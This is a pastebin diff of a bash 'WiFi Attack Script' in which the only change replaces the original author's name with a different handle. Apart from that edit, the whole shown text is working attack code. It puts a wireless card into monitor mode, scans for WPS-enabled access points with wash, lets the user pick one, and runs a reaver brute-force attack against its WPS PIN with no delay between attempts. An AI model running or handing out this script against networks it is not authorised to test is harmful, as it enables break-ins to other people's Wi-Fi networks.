View difference between Paste ID: 4ptbfPgX and 2mKrk9uC

 #! /bin/bash
 
 #WiFi Attack Script, v1.0
-#Author: Vinay Gopinath
+#Author: Ju4nD3L3M0s
 #Date: 26 October, 2012
 
 #CONFIG: Customize the script according to your needs
 #The default wireless interface (usually wlan0, wifi0 or ath0)
 wireless_interface=wlan0
 
 #The timeout (in seconds) for wash to search for WPS-enabled access points
 wash_timeout=15
 
 #Flag to allow user to choose target AP
 allow_user_choice=1
 
 #Delay between attack attempts
 reaver_delay=0
 
 #Check for root privileges
 if (( EUID != 0 )); then
   echo "This script needs root"
   exit 1
 fi
 
 #Check for required commands
 for command in airmon-ng wash reaver
 do
   if [[ -z $(which $command) ]]; then
      echo "$command was not found"
      echo "To install $command, you may follow this link"
      echo "http://lmgtfy.com/?q=$command+installation"
      exit 1
   fi
 done
 
 echo "WARNING: Network connections are about to go down. You may need to re-enable wireless connections manually"
 
 #Check available interfaces and close previous monitor interfaces and wireless lan
 for interface in $(ifconfig | tr -s [:space:] | cut -f1 -d" " | tr -s [:space:])
 do
   if [[ -n $(echo $interface | grep "^mon*") ]] || [[ -n $(echo $interface | grep '0$') ]] && [[ $(echo $interface) != "eth0" ]]; then
     echo "* Shutting down $interface"
     airmon-ng stop $interface > /dev/null
   fi
 done
 
 echo "* Starting a new monitor interface mon0"
 airmon-ng start $wireless_interface > /dev/null
 
 echo "Identifying WPS-enabled access points"
 timeout $wash_timeout wash -i mon0 --ignore-fcs > washOutput.txt
 APs=$(cat washOutput.txt | tail -n +3 | tr -s ' ' | cut -f6 -d' ')
 
 if [[ -n $(echo $APs) ]]; then
    if  (( $allow_user_choice )); then
       n=1
       echo "The following access points were detected"
       for ap in $APs
       do
         echo "* $n: $ap"
         ((n++))
       done
       read -p "Enter your choice: " choice
       if [[ $choice -le $n ]]; then
         chosen_ap=$(echo "${APs}" | head -$choice | tail -1)
 	echo "You have chosen $chosen_ap"
       else
 	echo "Invalid choice!"
 	exit 1
       fi
    else
       chosen_ap=$(echo "${APs}" | head -n1)
       echo "Proceeding with choice 1: $chosen_ap"
    fi
    tempLine=$(cat washOutput.txt | grep $chosen_ap | tr -s ' ')
    rm washOutput.txt
    channel=$(echo $tempLine | cut -f2 -d' ')
    mac_address=$(echo $tempLine | cut -f1 -d' ')
    echo "Starting reaver"
    echo "reaver -a -S -vv -c $channel -i mon0 -b $mac_address -d $reaver_delay"
    echo "AP name: $chosen_ap"
    echo "Channel: $channel"
    echo "MAC Address: $mac_address"
    reaver -a -S -vv -c $channel -i mon0 -b $mac_address -d $reaver_delay
 else
    echo "No networks found. Consider increasing the wash timeout. Terminating"
    exit 1
 fi